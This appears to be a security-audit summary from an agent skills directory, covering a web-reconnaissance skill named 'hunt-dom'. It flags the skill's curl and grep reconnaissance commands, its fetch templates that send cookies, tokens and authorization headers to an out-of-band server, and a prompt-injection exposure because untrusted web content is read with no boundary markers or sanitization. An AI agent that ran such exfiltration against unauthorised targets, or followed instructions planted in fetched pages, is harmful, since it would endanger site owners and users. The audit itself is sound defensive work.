The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses shell commands like curl and grep to perform reconnaissance against target web domains.
Evidence: Multiple instances in SKILL.md such as curl -s "https://$TARGET/" | grep -nE ... and grep -rnE "addEventListener\(..." recon/$TARGET/.
[DATA_EXFILTRATION]: The skill provides templates for demonstrating data exfiltration from a target application to an out-of-band (OOB) listener for validation purposes.
Evidence: HTML and JavaScript snippets in SKILL.md using fetch('https://OOB/...') to send cookies, tokens, and authorization headers to an external server.
[INDIRECT_PROMPT_INJECTION]: The skill defines a workflow for ingesting and analyzing untrusted data from external websites, which presents an attack surface for indirect prompt injection.
Ingestion points: The skill fetches target website content using curl and reads local reconnaissance files.
Boundary markers: No explicit instructions are provided to help the agent distinguish between the skill's instructions and the untrusted data being analyzed.
Capability inventory: The skill uses network operations (curl, fetch), file reading (grep), and command execution to perform its tasks.
Sanitization: The skill does not define specific sanitization or filtering logic for the data it processes, relying on the user/agent to interpret the results.
[EXTERNAL_DOWNLOADS]: The skill references research and resources from well-known security organizations.
Evidence: Mentions PortSwigger Web Security Academy, GitHub Security Advisories, and HackerOne public reports as sources for the techniques described.

hunt-dom